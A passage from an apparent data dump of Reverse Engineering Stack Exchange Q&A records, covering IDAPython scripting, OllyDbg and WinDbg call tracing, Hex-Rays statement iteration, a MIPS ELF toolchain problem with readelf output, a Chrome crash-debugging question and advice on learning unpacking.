import idc\n\nsegstart = your_code_segment_start\nsegend = your_code_segment_end\nptrstep = your_system_pointer_size_in_bytes\n\nfor a in range(segstart, segend, ptrstep):\n    data = idc.Dword(a) #replace with qword if working with 64 bit)\n    if a < segstart or a >= segend:\n        continue\n    if not idc.Name(data) is None:\n        print hex(a), \" --> \", idc.Name(data)\n
\n" }, { "Id": "8630", "CreationDate": "2015-04-03T20:40:53.353", "Body": "

I need to analyse a sample which creates a child process. I want to analyze the child process, too, but I have the following problem. Therefore, I take the command line plugin for my olldbg v1.10 and type the following command:

\n\n
childdbg 1\n
\n\n

(that is also described at https://stackoverflow.com/questions/21695192/can-ollydbg-trace-a-launched-exe by blabb )

\n\n

But the plugin says:

\n\n
 Unrecognized command: CHILDDBG\n
\n\n

Why this appears? How can I fix it ?

\n\n

PS:\nBefore somebody recommend me to use ollydbg v2.01 (because it has a built-in option to debug a child process), I can say that I can not open the sample with ollydb v2.01 but this is a topic which I asked here: "Debugged application has modified the debugging registers" with ollydbg 2.01

\n\n

best regards,

\n", "Title": "Command for Command line plugin does not work", "Tags": "|ollydbg|process|plugin|command-line|error|", "Answer": "

the latest version is available in blog entry

\n\n

https://www.openrce.org/repositories/users/anonymouse/ModifiedCommandLinePluginWithChildDbg_Date_16082008.rar

\n\n

if the link did not work you can download a modified version of the plugin with an additional command .writemem compiler has been changed to vc++ and old code modified to suit vc++ so the functionality of old commands not tested use it cautiously. i have tested only the .writemem functionality

\n\n

some background for the additional command can be found here \nhttps://stackoverflow.com/questions/28488750/how-to-automate-task-in-ollydbg-using-ollyscript-or-any-other-tool/28556003#28556003

\n\n

http://wikisend.com/download/750442/cmdline.dll

\n" }, { "Id": "8638", "CreationDate": "2015-04-05T18:28:47.347", "Body": "

I am trying to iterate all the C statement (could be very coarse-grained, it's fine) in IDA-Pro recovered assembly program.

\n\n

Suppose I only consider these statements:

\n\n
State :: =\n  | if-else cond;\n  | loop;\n  | assignment;\n  | function call\n  | return\n  | {s1; s2; s3 ...}\n
\n\n

And after some quick search, I know that there are some (third-party) plugins that can help to identify some C control-flow structure, and I list some of them below:

\n\n

if-else cond : N/A

\n\n

loop : link1 link2 link3

\n\n

So my questions are:

\n\n
    \n

  1. Is there any plugins that can recover if/else statement? It looks easier than loop, but I just cannot find a well-developed way to recover the statement.

    2. \n

  2. Is there anyway/api/scripts to iterate C statements in IDA-Pro? Or I have to implement myself?

    3. \n
\n\n

Ideally it should look like this as this is essentially used in source code analysis... (sorry for this pseudo code, I just want to clarify)

\n\n
let aux s =\n    match s with\n    | If e1 b1 b2 -> analyze e1 b1 b2\n    | Loop e1 e2 e3 b1 -> analyze e1 e2 e3 b1\n    | Assign v1 v2 -> analyze v1 v2 \n    | States sl -> List.iter analyze sl\n    | ...  in\nList.iter aux statement_list\n...\n
\n", "Title": "Is there anyway I can iterate all the C-level statements in IDA-Pro?", "Tags": "|ida|binary-analysis|ida-plugin|idapython|static-analysis|", "Answer": "
\n
    \n
  1. Is there any plugins that can recover if/else statement? It looks easier than loop, but I just cannot find a well-developed way to\n recover the statement.
    2. \n
\n
\n\n

Yes, the Hex-Rays Decompiler recovers if/else statements.

\n\n
\n
    \n
  1. Is there anyway/api/scripts to iterate C statements in IDA-Pro? Or I have to implement myself?
    2. \n
\n
\n\n

Yes, the Hex-Rays SDK allows you to iterate the items (including if-else statements) in a decompilation tree.

\n" }, { "Id": "8644", "CreationDate": "2015-04-06T09:10:39.123", "Body": "

I recently found the program: ltrace. And was wondering if it's possible to achieve the same using one of the gui debuggers for windows: ida, immunity, etc. The only thing I've found is a port of the cmdline util. Which is perfectly fine, but it would be convenient if I could do the same using, say ida.

\n\n

Tldr; Trace library calls using a windows debugger/disassembler.

\n\n

Thanks for the quick response and the examples. Got everything I needed.

\n", "Title": "Windows debugger with ltrace functionality", "Tags": "|ida|windows|debuggers|immunity-debugger|", "Answer": "

ollydbg -> search for all intermodular calls -> in the new window -> set log break point radio button pause to never , log function argument to always ok

\n\n

you should see all the lib functions breakpointed in pink

\n\n

f9 to run the application

\n\n

on exit look at log window for all the calls that were made to other modules from executab;e

\n\n
Log data\nMessage\nProgram entry point\nCALL to GetSystemTimeAsFileTime\n  pFileTime = 0013FFB4\nCALL to GetCurrentProcessId\nCALL to GetCurrentThreadId\nCALL to GetTickCount\nCALL to QueryPerformanceCounter\n  pPerformanceCount = 0013FFAC\nCALL to HeapCreate\n  Flags = 0\n  InitialSize = 1000 (4096.)\n  MaximumSize = 0\nCALL to GetModuleHandleW\n  pModule = \"KERNEL32.DLL\"\nCALL to GetProcAddress\n  hModule = 7C800000 (kernel32)\n  ProcNameOrOrdinal = \"FlsAlloc\"\nCALL to GetProcAddress\n  hModule = 7C800000 (kernel32)\n  ProcNameOrOrdinal = \"FlsGetValue\"\nCALL to GetProcAddress\n  hModule = 7C800000 (kernel32)\n  ProcNameOrOrdinal = \"FlsSetValue\"\nCALL to GetProcAddress\n  hModule = 7C800000 (kernel32)\n  ProcNameOrOrdinal = \"FlsFree\"\nCALL to TlsAlloc\nCALL to TlsSetValue\n  TlsIndex = 1\n  pValue = kernel32.TlsGetValue\nCALL to TlsAlloc\nCALL to HeapAlloc\n  hHeap = 00350000\n  Flags = HEAP_ZERO_MEMORY\n
\n\n

windbg

\n\n

cdb -c \"!logexts.loge;!logm i *;!loge;!logo e d;g;q\" msgboxw.exe > trace.txt & grep MessageBoxW trace.txt

\n\n
Thrd 3c4 00401017 MessageBoxW( NULL \"cannot find \"hello\"\" \"test\"MB_OK) -> IDOK\nThrd 3c4 0040102B MessageBoxW( NULL \"cannot find \"iello\"\" \"test\"MB_OK) -> IDOK\nThrd 3c4 0040103F MessageBoxW( NULL \"cannot find \"jello\"\" \"test\"MB_OK) -> IDOK\nThrd 3c4 00401053 MessageBoxW( NULL \"cannot find \"fello\"\" \"test\"MB_OK) -> IDOK\nThrd 3c4 00401067 MessageBoxW( NULL \"cannot find \"kello\"\" \"test\"MB_OK) -> IDOK\nThrd 3c4 0040107B MessageBoxW( NULL \"saying \"hello\" baby\" \"test\"MB_OK) -> IDOK\n
\n" }, { "Id": "8647", "CreationDate": "2015-04-06T17:20:07.740", "Body": "

So i want to disassemble and then run a MIPS elf file for the first time. As i don't have MIPS hardware i am using mipsel-unknown-linux-gnu toolchain.Here comes the problem. The output of the command file myelf is:

\n\n
ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked (uses shared libs), stripped\n
\n\n

But when i try to disassemble the file i get:

\n\n
mipsel-unknown-linux-gnu-objdump: myelf: File format not recognized\n
\n\n

I get the same error when i want to run it or to debug it. But if i write a small program in MIPS assembly (using an edit and mipsel-unknown-linux-gnu-as as assembler and mipsel-unknown-linux-gnu-ld as a linker) i can run it and debug it so i'm sure the problem comes from myelf file. Actually i can disassemble myelf with IDA but i want to follow the execution using gdb under linux.

\n\n

Then i did a readelf and this is the output of mipsel-unknown-linux--u-readelf -a myelf:

\n\n
ELF Header:\n  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 \n  Class:                             ELF32\n  Data:                              2's complement, little endian\n  Version:                           1 (current)\n  OS/ABI:                            UNIX - System V\n  ABI Version:                       0\n  Type:                              EXEC (Executable file)\n  Machine:                           MIPS R3000\n  Version:                           0x1\n  Entry point address:               0x400670\n  Start of program headers:          52 (bytes into file)\n  Start of section headers:          4132 (bytes into file)\n  Flags:                             0x1007, noreorder, pic, cpic, o32, mips1\n  Size of this header:               52 (bytes)\n  Size of program headers:           32 (bytes)\n  Number of program headers:         9\n  Size of section headers:           40 (bytes)\n  Number of section headers:         30\n  Section header string table index: 29\nreadelf: Error: Unable to read in 0x69737265 bytes of string table\n\nSection Headers:\n  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al\n  [ 0] <no-name>         LOUSER+6f0fbdbf bdbfefbd bdbfef3b f286821 bfef4abd WAXxMSLOTxxxxxxxxop 1992146927 4022190063 3220159935\nreadelf: Warning: section 0: sh_link value of 1992146927 is larger than the number of sections\n  [ 1] <no-name>         09bdbfef: <unkn bfefbdbf bfef58bd ef3d6ebd ef5d6e20 WAXxSILOGTxxxxxxxop 3220159935 3220134333 1483756221\nreadelf: Warning: section 1: sh_link value of 3220159935 is larger than the number of sections\n  [ 2] <no-name>         LOUSER+3dbfefbd bfef1257 ef1e67bd bfefbdbf efbdbfef WAXIOGTxxxxxxxxop 3183472573 1589493743 3183472479\nreadelf: Warning: section 2: sh_link value of 3183472573 is larger than the number of sections\n  [ 3] <no-name>         LOUSER+3fefbdbf bfef35bd bfef51bd bfef07bd bdbfef38 WXxMSLOGxxxxxxop 4017489853 1393212863 498974703\nreadelf: Warning: section 3: sh_link value of 4017489853 is larger than the number of sections\n  [ 4] <no-name>         LOUSER+3dbfef7c 25bdbfef 44bdbfef efbdbfef efbdbfef WAXOGTxxxxxxxxop 4013997503 4014390719 1532607935\nreadelf: Warning: section 4: sh_link value of 4013997503 is larger than the number of sections\n  [ 5] <no-name>         LOUSER+6f17bdbf bfef1fbd ef3d6dbd 2b4ebdbf ef3a332c WAXxMSLOTxxxxxxxxop 700301295 3183472475 3183472441\nreadelf: Warning: section 5: sh_link value of 700301295 is larger than the number of sections\n  [ 6] <no-name>         LOUSER+6f15bdbf ef0f15bd bfefbdbf bdbfefbd bfef4e90 WAXxMSLOTxxxxxxxxop 3220132880 3220113853 3661197501\nreadelf: Warning: section 6: sh_link value of 3220132880 is larger than the number of sections\n  [ 7] <no-name>         LOUSER+6f1c2e62 64bdbfef 4a3d369 ef603c51 ef40bdbf WAXxMSLOTxxxxxxop 1366867391 700301295 4011659522\nreadelf: Warning: section 7: sh_link value of 1366867391 is larger than the number of sections\n  [ 8] <no-name>         4c2cbdbf: <unkn bdbfefbd bfef3c4f ef476cbd ef1d10bd AXMSIOGTxxxxxxop 386514367 3183472428 3220142970\nreadelf: Warning: section 8: sh_link value of 386514367 is larger than the number of sections\n  [ 9] <no-name>         LOUSER+24c2bdbf 42781f57 efb4a5e5 bfefbdbf 716bdbf WAXxSILOGTxxxxxxxop 3183472573 4012516894 4016422335\nreadelf: Warning: section 9: sh_link value of 3183472573 is larger than the number of sections\n  [10] <no-name>         LOUSER+3fefbdbf 476e0abd 18bdbfef bdbfef32 4bdbfef WXxMSLGxxxxxxop 3183472447 4022190063 525516223\nreadelf: Warning: section 10: sh_link value of 3183472447 is larger than the number of sections\n  [11] <no-name>         LOUSER+3dbfef0f bdbfef35 ef5a2137 5415bdbf efbdbfef AMIOGTxxxxxxxxop 3220117023 3183472573 3183472496\nreadelf: Warning: section 11: sh_link value of 3220117023 is larger than the number of sections\n  [12] <no-name>         LOUSER+3dbfefbd 80dc78ae efbdbfef bfefbdbf bdbfefbd AXxTxxxop 3220115133 4015879101 3220159935\nreadelf: Warning: section 12: sh_link value of 3220115133 is larger than the number of sections\n  [13] <no-name>         LOUSER+3dbfef4a cf6622bd bdbfef89 77bdbfef ef714abd WASIOTxxxxxop 3220122624 3220140989 3220129981\nreadelf: Warning: section 13: sh_link value of 3220122624 is larger than the number of sections\n  [14] <no-name>         LOUSER+6f202b35 5b1a78bd efbdbfef bfefbdbf ef37bdbf WAXxMSLOTxxxxxxxxop 3183472573 3183472489 4022190063\nreadelf: Warning: section 14: sh_link value of 3183472573 is larger than the number of sections\n  [15] <no-name>         2a0e3fbd: <unkn efbdbfef ef3abdbf ef15bdbf bfefbdbf WxOGTxxxxxxxxop 4013014463 4012883391 4014063039\nreadelf: Warning: section 15: sh_link value of 4013014463 is larger than the number of sections\n  [16] <no-name>         LOUSER+6fbdbfef bfefbdbf bdbfefbd 3fbdbfef ef0961bd WAXxMSLOTxxxxxxop 1899399115 3183472494 3220112411\nreadelf: Warning: section 16: sh_link value of 1899399115 is larger than the number of sections\n  [17] <no-name>         185a7404: <unkn 0038bdbf 4abdbfef bdbfef09 9631ebd WAXxMSOGxxxxop 985513967 4010489125 3220159935\nreadelf: Warning: section 17: sh_link value of 985513967 is larger than the number of sections\n  [18] <no-name>         LOUSER+6fa4db38 00bdbfef 000000 000000 bfef0000 WAXxMSLOTxxxxxop  0   0  0\n  [19] <no-name>         410c3000: <unkn 00000000 000000 bdbfef00 7000400b     4009771013 1074249151 3183472384\nreadelf: Warning: section 19: sh_link value of 4009771013 is larger than the number of sections\n  [20] <no-name>         0000400b: <unkn ef00400b 4009bdbf 400b4000 00   p 1074475008 1074470912 1074466816\nreadelf: Warning: section 20: sh_link value of 1074475008 is larger than the number of sections\n  [21] <no-name>         LOUSER+3dbfef00 0000400b ef000000 4007bdbf bdbfefbd Wxx 117440512 4022190063 3220159935\nreadelf: Warning: section 21: sh_link value of 117440512 is larger than the number of sections\n  [22] <no-name>         NULL            1d000000 1f000000 ef000000 bfefbdbf   p 1074314687   0 4022190063\nreadelf: Warning: section 22: sh_link value of 1074314687 is larger than the number of sections\n  [23] <no-name>         00bdbfef: <unkn 20000000 1d000000 1f000000 00     4009754624 1074380223  0\nreadelf: Warning: section 23: sh_link value of 4009754624 is larger than the number of sections\n  [24] <no-name>         NULL            00001d00 001f00 bdbfef00 efbdbfef     16393 3220127488 3183472573\nreadelf: Warning: section 24: sh_link value of 16393 is larger than the number of sections\n  [25] <no-name>         000000bd: <unkn 00003800 001d00 001f00 2e34206e     1128482560 1143480378 1634296421\nreadelf: Warning: section 25: sh_link value of 1128482560 is larger than the number of sections\n  [26] <no-name>         34202938: <unkn 000f4100 6e670000 7010075 626174 AXxSTxxxxxop 67108864 1932394497 1920234344\nreadelf: Warning: section 26: sh_link value of 67108864 is larger than the number of sections\n  [27] <no-name>         00707265: <unkn 42412e65 61742d49 722e0067 756e672e AXxSGTxxxxxxxop 1852401509 771780454 1702129518\nreadelf: Warning: section 27: sh_link value of 1852401509 is larger than the number of sections\n  [28] <no-name>         LOOS+92d646c    6d616e79 2e006369 68736168 7274736e XSIxxxop 2036608512 1836675950 2036608512\nreadelf: Warning: section 28: sh_link value of 2036608512 is larger than the number of sections\n  [29] <no-name>         LOOS+5762e75    672e006e 762e756e 69737265 74786574 AMSIOGxxxxxop 1918856815 1852386816 771781737\nreadelf: Warning: section 29: sh_link value of 1918856815 is larger than the number of sections\nKey to Flags:\n  W (write), A (alloc), X (execute), M (merge), S (strings)\n  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)\n  O (extra OS processing required) o (OS specific), p (processor specific)\n\nThere are no section groups in this file.\n\nProgram Headers:\n  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align\n  PHDR           0x000034 0x00400034 0x00400034 0x00120 0x00120 R E 0x4\n  INTERP         0x000154 0x00400154 0x00400154 0x0000a 0x0000a R   0x1\n      [Requesting program interpreter: ]\n  REGINFO        0x1bdbfef 0xbfef0000 0x004001bd 0x1bdbfef 0x180040     0x40000\n  <unknown>: 400 0x010000 0x00000000 0x00000000 0x00040 0xc300040     0x50000\n  NULL           0x010001 0x0c300000 0x0c300000 0xc300041 0x2400041     0x60000\n  NULL           0x020001 0xbfef0000 0x000001bd 0x1bdbfef 0xbfef0040 R E 0xbdbfef\n  <unknown>: bfe 0x0000bd 0x00000007 0x00000004 0x00004 0x00164 R   0x400164\n  <unknown>: 20  0x000020 0x00000004 0x00000004 0x00004 0x1bdbfef     0x4001bd\n  <unknown>: 1bd 0x240040 0x00240000 0x00040000 0x40000 0x00000     0\n\nThere is no dynamic section in this file.\n\nThere are no relocations in this file.\n\nThe decoding of unwind sections for machine type MIPS R3000 is not currently supported.\n\nNo version information found in this file.\n
\n\n

As it's a project from a school dealing with reverse engineering, the elf file may be corrupted or not. I have no idea from what the problem could come from. You can download myelf file from this link. Thank you.

\n\n

Anyone have encountered this kind of error or any suggestions ?

\n", "Title": "How to disassemble/run mips ELF file ? (with readelf error)", "Tags": "|disassembly|linux|elf|mips|", "Answer": "

This file is completely valid ELF, but you have a problem with the toolchain.\nYou should check correctness of its setup.

\n\n

In addition if you don't have the hardware you can use qemu to run it.\nThere is also aboriginal toolchain that you can try to use.

\n\n

Output of the readelf should be as follows:

\n\n
mips-unknown-nto-qnx6.5.0-readelf -a ~/Downloads/myelf \nELF Header:\n  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 \n  Class:                             ELF32\n  Data:                              2's complement, little endian\n  Version:                           1 (current)\n  OS/ABI:                            UNIX - System V\n  ABI Version:                       0\n  Type:                              EXEC (Executable file)\n  Machine:                           MIPS R3000\n  Version:                           0x1\n  Entry point address:               0x400670\n  Start of program headers:          52 (bytes into file)\n  Start of section headers:          4132 (bytes into file)\n  Flags:                             0x1007, noreorder, pic, cpic, o32, mips1\n  Size of this header:               52 (bytes)\n  Size of program headers:           32 (bytes)\n  Number of program headers:         9\n  Size of section headers:           40 (bytes)\n  Number of section headers:         30\n  Section header string table index: 29\n\nSection Headers:\n  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al\n  [ 0]                   NULL            00000000 000000 000000 00      0   0  0\n  [ 1] .interp           PROGBITS        00400154 000154 00000d 00   A  0   0  1\n  [ 2] .note.ABI-tag     NOTE            00400164 000164 000020 00   A  0   0  4\n  [ 3] .reginfo          MIPS_REGINFO    00400184 000184 000018 18   A  0   0  4\n  [ 4] .note.gnu.build-i NOTE            0040019c 00019c 000024 00   A  0   0  4\n  [ 5] .dynamic          DYNAMIC         004001c0 0001c0 0000d8 08   A  8   0  4\n  [ 6] .hash             HASH            00400298 000298 0000a4 04   A  7   0  4\n  [ 7] .dynsym           DYNSYM          0040033c 00033c 000160 10   A  8   1  4\n  [ 8] .dynstr           STRTAB          0040049c 00049c 0000df 00   A  0   0  1\n  [ 9] .gnu.version      VERSYM          0040057c 00057c 00002c 02   A  7   0  2\n  [10] .gnu.version_r    VERNEED         004005a8 0005a8 000030 00   A  8   1  4\n  [11] .init             PROGBITS        004005d8 0005d8 000090 00  AX  0   0  4\n  [12] .text             PROGBITS        00400670 000670 000490 00  AX  0   0 16\n  [13] .MIPS.stubs       PROGBITS        00400b00 000b00 0000a0 00  AX  0   0  4\n  [14] .fini             PROGBITS        00400ba0 000ba0 00004c 00  AX  0   0  4\n  [15] .rodata           PROGBITS        00400bec 000bec 000040 00   A  0   0  4\n  [16] .eh_frame         PROGBITS        00400c2c 000c2c 000004 00   A  0   0  4\n  [17] .ctors            PROGBITS        00410c30 000c30 00000c 00  WA  0   0  4\n  [18] .dtors            PROGBITS        00410c3c 000c3c 000008 00  WA  0   0  4\n  [19] .jcr              PROGBITS        00410c44 000c44 000004 00  WA  0   0  4\n  [20] .data             PROGBITS        00410c50 000c50 0001b0 00  WA  0   0 16\n  [21] .rld_map          PROGBITS        00410e00 000e00 000004 00  WA  0   0  4\n  [22] .got              PROGBITS        00410e10 000e10 00005c 04 WAp  0   0 16\n  [23] .sdata            PROGBITS        00410e6c 000e6c 000004 00 WAp  0   0  4\n  [24] .bss              NOBITS          00410e70 000e70 000010 00  WA  0   0 16\n  [25] .pdr              PROGBITS        00000000 000e70 000080 00      0   0  4\n  [26] .comment          PROGBITS        00000000 000ef0 00001c 01  MS  0   0  1\n  [27] .gnu.attributes   LOOS+ffffff5    00000000 000f0c 000010 00      0   0  1\n  [28] .mdebug.abi32     PROGBITS        00000070 000f1c 000000 00      0   0  1\n  [29] .shstrtab         STRTAB          00000000 000f1c 000107 00      0   0  1\nKey to Flags:\n  W (write), A (alloc), X (execute), M (merge), S (strings)\n  I (info), L (link order), G (group), x (unknown)\n  O (extra OS processing required) o (OS specific), p (processor specific)\n\nThere are no section groups in this file.\n\nProgram Headers:\n  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align\n  PHDR           0x000034 0x00400034 0x00400034 0x00120 0x00120 R E 0x4\n  INTERP         0x000154 0x00400154 0x00400154 0x0000d 0x0000d R   0x1\n      [Requesting program interpreter: /lib/ld.so.1]\n  REGINFO        0x000184 0x00400184 0x00400184 0x00018 0x00018 R   0x4\n  LOAD           0x000000 0x00400000 0x00400000 0x00c30 0x00c30 R E 0x10000\n  LOAD           0x000c30 0x00410c30 0x00410c30 0x00240 0x00250 RW  0x10000\n  DYNAMIC        0x0001c0 0x004001c0 0x004001c0 0x000d8 0x000d8 RWE 0x4\n  NOTE           0x000164 0x00400164 0x00400164 0x00020 0x00020 R   0x4\n  NOTE           0x00019c 0x0040019c 0x0040019c 0x00024 0x00024 R   0x4\n  NULL           0x000000 0x00000000 0x00000000 0x00000 0x00000     0x4\n\n Section to Segment mapping:\n  Segment Sections...\n   00     \n   01     .interp \n   02     .reginfo \n   03     .interp .note.ABI-tag .reginfo .note.gnu.build-id .dynamic .hash .dynsym .dynstr .gnu.version .gnu.version_r .init .text .MIPS.stubs .fini .rodata .eh_frame \n   04     .ctors .dtors .jcr .data .rld_map .got .sdata .bss \n   05     .dynamic \n   06     .note.ABI-tag \n   07     .note.gnu.build-id \n   08     \n\nDynamic section at offset 0x1c0 contains 22 entries:\n  Tag        Type                         Name/Value\n 0x00000001 (NEEDED)                     Shared library: [libc.so.6]\n 0x0000000c (INIT)                       0x4005d8\n 0x0000000d (FINI)                       0x400ba0\n 0x00000004 (HASH)                       0x400298\n 0x00000005 (STRTAB)                     0x40049c\n 0x00000006 (SYMTAB)                     0x40033c\n 0x0000000a (STRSZ)                      223 (bytes)\n 0x0000000b (SYMENT)                     16 (bytes)\n 0x70000016 (MIPS_RLD_MAP)               0x410e00\n 0x00000015 (DEBUG)                      0x0\n 0x00000003 (PLTGOT)                     0x410e10\n 0x70000001 (MIPS_RLD_VERSION)           1\n 0x70000005 (MIPS_FLAGS)                 NOTPOT\n 0x70000006 (MIPS_BASE_ADDRESS)          0x400000\n 0x7000000a (MIPS_LOCAL_GOTNO)           7\n 0x70000011 (MIPS_SYMTABNO)              22\n 0x70000012 (MIPS_UNREFEXTNO)            29\n 0x70000013 (MIPS_GOTSYM)                0x6\n 0x6ffffffe (VERNEED)                    0x4005a8\n 0x6fffffff (VERNEEDNUM)                 1\n 0x6ffffff0 (VERSYM)                     0x40057c\n 0x00000000 (NULL)                       0x0\n\nThere are no relocations in this file.\n\nThere are no unwind sections in this file.\n\nSymbol table '.dynsym' contains 22 entries:\n   Num:    Value  Size Type    Bind   Vis      Ndx Name\n     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND \n     1: 00000001     0 SECTION GLOBAL DEFAULT  ABS _DYNAMIC_LINKING\n     2: 00400bec     4 OBJECT  GLOBAL DEFAULT   15 _IO_stdin_used\n     3: 00000000     0 OBJECT  WEAK   DEFAULT  UND environ@GLIBC_2.0 (2)\n     4: 00000000     0 OBJECT  WEAK   DEFAULT  UND _environ@GLIBC_2.0 (2)\n     5: 00410e00     0 OBJECT  GLOBAL DEFAULT   21 __RLD_MAP\n     6: 004005d8     0 FUNC    GLOBAL DEFAULT   11 _init\n     7: 004007b0   320 FUNC    GLOBAL DEFAULT   12 main\n     8: 00400b80     0 FUNC    GLOBAL DEFAULT  UND exit@GLIBC_2.0 (2)\n     9: 00400b70     0 FUNC    GLOBAL DEFAULT  UND cbc_crypt@GLIBC_2.2 (3)\n    10: 00400b60     0 FUNC    GLOBAL DEFAULT  UND munmap@GLIBC_2.0 (2)\n    11: 00000000     0 OBJECT  GLOBAL DEFAULT  UND __environ@GLIBC_2.0 (2)\n    12: 00400b50     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.0 (2)\n    13: 004009e8   176 FUNC    GLOBAL DEFAULT   12 __libc_csu_init\n    14: 00400b40     0 FUNC    GLOBAL DEFAULT  UND memcpy@GLIBC_2.0 (2)\n    15: 00400b30     0 FUNC    GLOBAL DEFAULT  UND mprotect@GLIBC_2.0 (2)\n    16: 00400b20     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (2)\n    17: 00400b10     0 FUNC    GLOBAL DEFAULT  UND ptrace@GLIBC_2.0 (2)\n    18: 00000000     0 NOTYPE  WEAK   DEFAULT  UND _Jv_RegisterClasses\n    19: 00000000     0 FUNC    WEAK   DEFAULT  UND __gmon_start__\n    20: 004009e0     8 FUNC    GLOBAL DEFAULT   12 __libc_csu_fini\n    21: 00400b00     0 FUNC    GLOBAL DEFAULT  UND mmap@GLIBC_2.0 (2)\n\nHistogram for bucket list length (total of 17 buckets):\n Length  Number     % of total  Coverage\n      0  5          ( 29.4%)\n      1  7          ( 41.2%)     33.3%\n      2  3          ( 17.6%)     61.9%\n      3  1          (  5.9%)     76.2%\n      4  0          (  0.0%)     76.2%\n      5  1          (  5.9%)    100.0%\n\nVersion symbols section '.gnu.version' contains 22 entries:\n Addr: 000000000040057c  Offset: 0x00057c  Link: 7 (.dynsym)\n  000:   0 (*local*)       1 (*global*)      1 (*global*)      2 (GLIBC_2.0)  \n  004:   2 (GLIBC_2.0)     1 (*global*)      1 (*global*)      1 (*global*)   \n  008:   2 (GLIBC_2.0)     3 (GLIBC_2.2)     2 (GLIBC_2.0)     2 (GLIBC_2.0)  \n  00c:   2 (GLIBC_2.0)     1 (*global*)      2 (GLIBC_2.0)     2 (GLIBC_2.0)  \n  010:   2 (GLIBC_2.0)     2 (GLIBC_2.0)     0 (*local*)       0 (*local*)    \n  014:   1 (*global*)      2 (GLIBC_2.0)  \n\nVersion needs section '.gnu.version_r' contains 1 entries:\n Addr: 0x00000000004005a8  Offset: 0x0005a8  Link: 8 (.dynstr)\n  000000: Version: 1  File: libc.so.6  Cnt: 2\n  0x0010:   Name: GLIBC_2.2  Flags: none  Version: 3\n  0x0020:   Name: GLIBC_2.0  Flags: none  Version: 2\n\nNotes at offset 0x00000164 with length 0x00000020:\n  Owner     Data size   Description\n  GNU       0x00000010  NT_GNU_ABI_TAG (ABI version tag)\n\nNotes at offset 0x0000019c with length 0x00000024:\n  Owner     Data size   Description\n  GNU       0x00000014  NT_GNU_BUILD_ID (unique build ID bitstring)\nAttribute Section: gnu\nFile Attributes\n  Tag_GNU_MIPS_ABI_FP: Hard float (-mdouble-float)\n\nPrimary GOT:\n Canonical gp value: 00418e00\n\n Reserved entries:\n   Address     Access  Initial Purpose\n  00410e10 -32752(gp) 00000000 Lazy resolver\n  00410e14 -32748(gp) 80000000 Module pointer (GNU extension)\n\n Local entries:\n   Address     Access  Initial\n  00410e18 -32744(gp) 00400000\n  00410e1c -32740(gp) 00410c30\n  00410e20 -32736(gp) 00000000\n  00410e24 -32732(gp) 00000000\n  00410e28 -32728(gp) 00000000\n\n Global entries:\n   Address     Access  Initial Sym.Val. Type    Ndx Name\n  00410e2c -32724(gp) 004005d8 004005d8 FUNC     11 _init\n  00410e30 -32720(gp) 004007b0 004007b0 FUNC     12 main\n  00410e34 -32716(gp) 00400b80 00400b80 FUNC    UND exit\n  00410e38 -32712(gp) 00400b70 00400b70 FUNC    UND cbc_crypt\n  00410e3c -32708(gp) 00400b60 00400b60 FUNC    UND munmap\n  00410e40 -32704(gp) 00000000 00000000 OBJECT  UND __environ\n  00410e44 -32700(gp) 00400b50 00400b50 FUNC    UND puts\n  00410e48 -32696(gp) 004009e8 004009e8 FUNC     12 __libc_csu_init\n  00410e4c -32692(gp) 00400b40 00400b40 FUNC    UND memcpy\n  00410e50 -32688(gp) 00400b30 00400b30 FUNC    UND mprotect\n  00410e54 -32684(gp) 00400b20 00400b20 FUNC    UND __libc_start_main\n  00410e58 -32680(gp) 00400b10 00400b10 FUNC    UND ptrace\n  00410e5c -32676(gp) 00000000 00000000 NOTYPE  UND _Jv_RegisterClasses\n  00410e60 -32672(gp) 00000000 00000000 FUNC    UND __gmon_start__\n  00410e64 -32668(gp) 004009e0 004009e0 FUNC     12 __libc_csu_fini\n  00410e68 -32664(gp) 00400b00 00400b00 FUNC    UND mmap\n
\n" }, { "Id": "8651", "CreationDate": "2015-04-07T15:22:42.993", "Body": "

My fuzzer recently crashed chrome and dumped what appears to be an exploitable vulnerability. I'm having an issue debugging it, as the referenced source appears incompatible with the version of chrome im running:

\n\n

Chrome v. 41.0.2272.89 m\nThe callstack is referencing allocator_shim.cc\n c:\\b\\build\\slave\\win\\build\\src\\base\\allocator\\allocator_shim.cc

\n\n

The issue is that for the most recent source I've pulled, there's only\n allocator_shim_win.cc

\n\n

Browsing Chromium source online also only has the newer\n allocator_shim_win.cc
\ninstead of\n allocator_shim.cc

\n\n

Why is my version of Chrome referencing/using old source (symbols/metadata) when it's supposed to be up to date?

\n", "Title": "Chrome Vulnerability Issue", "Tags": "|windows|debuggers|c++|exploit|debugging-symbols|", "Answer": "

Chrome != Chromium. Google makes several changes to the Chromium code base before building Chrome. This may be one of the changes.

\n\n

Nonetheless, the snapshot for the 41.0.2272.89 version of Chromium can be found here: https://chromium.googlesource.com/chromium/src.git/+/41.0.2272.89

\n\n

You can see in https://chromium.googlesource.com/chromium/src.git/+/41.0.2272.89/base/allocator/ that there's no allocator_shim.cc file, which may suggest that the callstack artifact is from a change made by Google for Chrome. Alternatively, it could suggest that the standard build process \"renames\" allocator_shim_win.cc to allocator_shim.cc at build-time, in which case this might not be because of changes made by Google.

\n" }, { "Id": "8654", "CreationDate": "2015-04-07T20:12:17.570", "Body": "

I want to find a way to improve my unpacking skills, i am not a noob but i miss steps from simple to hard packers.

\n\n

I saw lot of video tutorials, the most of the time i see \"click F9 x times to reach the OEP\" or \"ESP trick\" without go deeper as i want. \nI find the learning process slow in this way.

\n\n

I am searching for paper or books to go deeper in this art, my goal is to be able to face malware analisis in the best way.

\n\n

Please advice, thanks

\n", "Title": "Best and smarter way to improve unpacking skills", "Tags": "|ida|ollydbg|malware|unpacking|", "Answer": "

Unpacking is an art, and as such there aren't clear steps to unpack any target.

\n\n

I was in your situation a few years ago. I understood assembly, and code injections and hooking and whatnot, but I could not grasp unpacking.

\n\n

